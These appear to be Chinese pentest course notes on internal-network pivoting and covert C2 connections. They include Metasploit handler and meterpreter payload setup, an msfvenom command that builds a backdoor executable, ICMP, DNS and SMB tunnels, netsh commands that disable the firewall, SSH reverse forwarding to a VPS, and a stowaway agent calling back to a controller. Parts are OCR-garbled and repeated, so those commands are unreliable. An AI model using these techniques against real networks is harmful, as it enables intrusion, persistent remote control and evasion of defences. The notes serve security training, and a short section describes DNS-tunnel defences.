msfconso1e
use exploit/multi/handler
set payload windows/meterpreter/reverse tep
get lhest 0.0.0.0
set lport 4444
exploit
a11开启隧道:
/pingtunnel -type server

image-20240511083406029

第124天:内网安全-代理Socks协议&路由不出网&后渗透通讯&CS-MSF控制上线

#知识点:

1、代理软件使用-Win&Linux

2、代理协议使用-Socks4/5

3、CS&MSF-网络通讯&控制上线

-隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)

-代理技术:解决网络通讯不通的问题(利用跳板机建立节点后续操作)

-连接方向:正向&反向(基础课程有讲过)

#系列点:

1、判断什么时候用代理

2、判断什么时候用隧道

3、判断出网和不出网协议

4、如何使用代理建立节点并连接

5、如何使用隧道技术封装协议上线

6、判断哪些代理或隧道情况选择放弃

image-20240511083808897

image-20240511084449143

演示案例:

 网络通讯-MSF&CS-路由添加&节点建立

 控制上线-MSF&CS-协议生成&正反连接

#网络通讯-MSF&CS-路由添加&节点建立

#控制上线-MSF&CS-协议生成&正反连接

代理协议:

SOCKS4/5

代理软件:

SocksCap Proxifier ProxyChains 等

MSF 通讯

1、添加路由 限于 MSF

查看路由信息

run autoroute -p

run post/multi/manage/autoroute

添加指定路由,1 是接收的 session 编号

route add 192.168.11.0 255.255.255.0 1

2、Sock 代理 全局同用

use auxiliary/server/socks_proxy

set srvhost 0.0.0.0

set srvport 1115

run

启用代理软件配置 Sock5 代理

CS 通讯

命令:socks 59578

操作:代理转发-Socks 代理

MSF 控制上线-正向连接

msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=3333

-f exe > bd.exe

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set rhost 192.168.11.129

set lport 3333

run

CS 控制上线-正向连接

监听器:bind_tcp port

命令:connect ip port

实验 2:二层(后续多层操作一致)

代理软件犖镫澌
Sockscap Proxifier Proxychains等

MSF通讯
1、添加路由 限于MSF
查看路由信息
run autoroute -p
run post/multi/manage/autorcute
添加指定路由,1是接收的session编号
route add 192.168 11.0 255.255.255.0 1
2、sock代理 全局同用
use auxiliary/server/socks_proxy
set srvhost 0.0.0.0
set srvport 1115
run
启用代理软件配置Socks5代理
cs通讯
命令:Socks5 59578
操作:代理转发-Socks代理
MSE控制上线-正向连接
msfvenom p windows/meterpreter/bind_tcp LHOST=0.0.0.0 PORT=3333

-f exe > bd.exe
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.11.129
set lport 3333
run
cs控制上线-正向连接
监听器:bind tcp port
命令:connect ip port

第125天:内网安全-隧道技术&SMB&ICMP&正反向连接&防火墙出入规则上线

#知识点:

1、入站规则不出网上线方案

2、出站规则不出网上线方案

3、规则-隧道技术-SMB&ICMP

-隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)

-代理技术:解决网络通讯不通的问题(利用跳板机建立节点后续操作)

-连接方向:正向&反向(基础课程有讲过)

#系列点:

1、判断什么时候用代理

2、判断什么时候用隧道

3、判断出网和不出网协议

4、如何使用代理建立节点并连接

5、如何使用隧道技术封装协议上线

6、判断哪些代理或隧道情况选择放弃

image-20240511090624508

演示案例:

 不出网-控制上线-CS-反向连接

 不出网-控制上线-CS-SMB 隧道

 不出网-控制上线-CS-ICMP 隧道

 不出网-控制上线-CS-关闭防火墙

windows是建立SMB通道 ,linux建立SSH通道

怎么知道对方是出站限制还是入站限制呢?
上传正向和反向木马进行测试

不出网-控制上线-CS-ICMP隧道
使用icmp隧道绕过出站限制,细节见上一章内容
注:win10作为pingtunnel服务端,其他操作类似
……

不出网-控制上线-CS-关闭防火墙
如果取得目标机的高权限且,修改防火墙规则,关闭防火墙,以及替换防火墙规则里程序。
适用于:
1.单纯的内网环境(类似本次实验环境),不是域环境
2.单纯的内网域环境(但是域控DC没有设置组策略防火墙同步)

入站过滤上线:

1、隧道技术硬刚

2、反向连接跳过

3、关闭&删除&替换

适用利用入站通行拿到的高权限

出站过滤上线:

1、隧道技术硬刚

2、正向连接跳过

3、关闭&删除&替换

适用利用入站通行拿到的高权限

隧道技术上线:

HTTP/S & DNS & SSH & ICMP & SMB & 协议穿透等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Windows 防火墙命令:

https://www.cnblogs.com/tomtellyou/p/16300557.html

查看当前防火墙状态:netsh advfirewall show allprofiles

关闭防火墙:netsh advfirewall set allprofiles state off

开启防火墙:netsh advfirewall set allprofiles state on

恢复初始防火墙设置:netsh advfirewall reset

启用桌面防火墙: netsh advfirewall set allprofiles state on

设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy,allowinbound,allowoutbound

如果设置为拒绝使用 blockinbound,blockoutbound

第126天:内网安全-隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac

#知识点:

1、入站规则不出网上线方案

2、出站规则不出网上线方案

3、隧道技术-SMB&ICMP&DNS&SSH

4、控制上线-Linux&Mac&IOS&Android

-连接方向:正向&反向(基础课程有讲过)

-内网穿透:解决网络控制上线&网络通讯问题

-隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)

-代理技术:解决网络通讯不通的问题(利用跳板机建立节点后续操作)

#系列点:

1、判断什么时候用代理

2、判断什么时候用隧道

3、判断出网和不出网协议

4、如何使用代理建立节点并连接

5、如何使用隧道技术封装协议上线

6、判断哪些代理或隧道情况选择放弃

image-20240511091624701

image-20240511091655868

演示案例:

 隧道技术-SMB 协议-判断&通讯&上线

 隧道技术-ICMP 协议-判断&通讯&上线

 隧道技术-DNS 协议-判断&通讯&上线

 隧道技术-SSH 协议-判断&通讯&上线

 控制上线-插件-Linux&Mac&IOS&Android

1、判断出网协议

2、使用出网协议建立隧道

#SMB 隧道&通讯&上线

判断:445 通讯

上线:借助通讯后绑定上线

通讯:直接 SMB 协议通讯即可

#ICMP 隧道&通讯&上线

判断:ping 命令

上线:见前面课程

通讯:其他项目(icmpsh icmptunnel)

https://github.com/esrrhs/spp

https://github.com/bdamele/icmpsh

https://github.com/esrrhs/pingtunnel

#DNS 隧道&通讯&上线

判断:nslookup dig

1、上线环境:内网主机只出网 DNS 协议数据,解决上线

-域名申请及配置

-监听器创建及配置

-后门绑定监听器及生成

2、通讯环境:

内网主机只出网 DNS 协议数据,解决通讯

https://github.com/yarrick/iodine

判断出网:nslookup www.baidu.com

-服务器:设置密码 xiaodi 并创建虚拟 IP 及绑定域名指向

iodined -f -c -P xiaodi 192.168.0.1 ns1.xiaodi8.com -DD

设置密码 xiaodi 并创建虚拟 IP 及绑定域名指向

-客户端:连接密码 xiaodi 并绑定域名指向

iodine -f -M 200 -P xiaodi ns1.xiaodi8.com

-尝试通讯尝试连接:

ssh root@192.168.0.2

#SSH 隧道&通讯

判断:ssh 连接

1、上线:

由于 CS 无 SSH 协议监听器配置,无法上线

2、通讯:

由于SSH协议存在于Linux系统,跳板机必须Linux

1
2
3
4
5
6
7
8
9
10
11
iptables -F /* 清除所有规则 /
iptables -A INPUT -p tcp --dport 22 -j ACCEPT /允许包从22端口进入/
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT /允许从22端口进入的包返回/
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT / 域名解析端口,一般不开 /
iptables -A INPUT -p udp --sport 53 -j ACCEPT / 域名解析端口,一般不开 /
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT /允许本机访问本机/
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp -s 0/0 --dport 80 -j ACCEPT /允许所有IP访问80端口/
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables-save > /etc/sysconfig/iptables /保存配置/
iptables -L / 显示iptables列表 */

开启ssh协议登录:

1
2
3
4
5
vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart

本地:入站封
将本地访问 10.10.10.132的流量转发至公网vps 1234端口上

1
2
ssh -CfNg -R 1122:10.10.10.132:8080 root@47.94.130.xx
curl http://127.0.0.1:1122

远程:出站封
将本地访问10.10.10.132的流量转发至本地的1234的端口上

1
2
ssh -CfNg -L 1234:10.10.10.132:8080 root@10.10.10.146
curl http://127.0.0.1:1234

防御DNS隧道攻击的方法
禁止网络中任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。
虽然没有人会将TXT解析请求发送给DNS服务器,但是邮件服务器/网关会这样做,因此,可以将邮件服务器/网关列入白名单并阻止传入和传出流量中的TXT请求。
跟踪用户的DNS查询次数,如果达到阈值,就生成相应的报告

控制上线-插件-Linux&Mac&IOS&Android
项目:https://github.com/gloxec/CrossC2
面向Linux Mac IOS Android系统上线支持
1、插件使用
2、命令使用
使用参考:
https://gloxec.github.io/CrossC2/zh_cn/
1、下载对应版本加载器和CNA插件
2、上传加载器文件和本地加载CNA插件
3、修改CNA插件配置路径及上传Key文件
4、使用命令或插件绑定HTTPS监听器生成

使用CS4.7版本没有搭建成功

第127天:内网安全-隧道搭建&穿透上线&FRP&NPS&SPP&Ngrok&EW项目

#知识点:

1、内网隧道&穿透&加密&上线

2、项目-Ngrok&Frp&Nps&Spp

-连接方向:正向&反向(基础课程有讲过)

-内网穿透:解决网络控制上线&网络通讯问题

-隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)

-代理技术:解决网络通讯不通的问题(利用跳板机建立节点后续操作)

#系列点:

1、判断什么时候用代理

2、判断什么时候用隧道

3、判断出网和不出网协议

4、如何使用代理建立节点并连接

5、如何使用隧道技术封装协议上线

6、判断哪些代理或隧道情况选择放弃

image-20240511092308716

演示案例:

 内网穿透-Ngrok-入门-上线

 内网穿透-Frp-简易型-上线

 内网穿透-Nps-自定义-上线

 内网穿透-Spp-特殊协议-上线

旨在代理连接肉鸡后实现本地渗透肉鸡网络架构

Linux:Proxychains

Windows:Sockscap Proxifier

穿透项目:Ngrok Frp Spp Nps EW(停更)

优点:穿透加密数据,中间平台,防追踪,解决网络问题

https://www.ngrok.cc

https://github.com/esrrhs/spp

https://github.com/fatedier/frp

https://github.com/ehang-io/nps

http://www.rootkiter.com/EarthWorm

内网穿透的隧道搭建有很多,这里就主要讲讲我使用的工具stowaway

https://blog.csdn.net/qq_44159028/article/details/129681017 参考链接

1、控制端配置

上传控制端到kali,使用被动模式,监听端口8000,并对通信进行加密秘钥为123。等待被控端的连接

1
./linux_x64_admin -l 192.168.125.134:8000 -s 123

#或者不指定ip默认监听0.0.0.0

1
./linux_x64_admin -l 8000 -s 123

2、被控端配置

在win2012-1上执行,使用秘钥123连接控制端8000端口,并设置重连间隔时间,当控制端掉线时客户端每隔8s重连控制端

1
windows_x64_agent.exe -c 192.168.125.134:8000 -s 123 --reconnect 8

然后就是在admin端去创建socks即可

第128天:内网安全-横向移动&IPC&AT&SC命令&Impacket套件&CS插件&全自动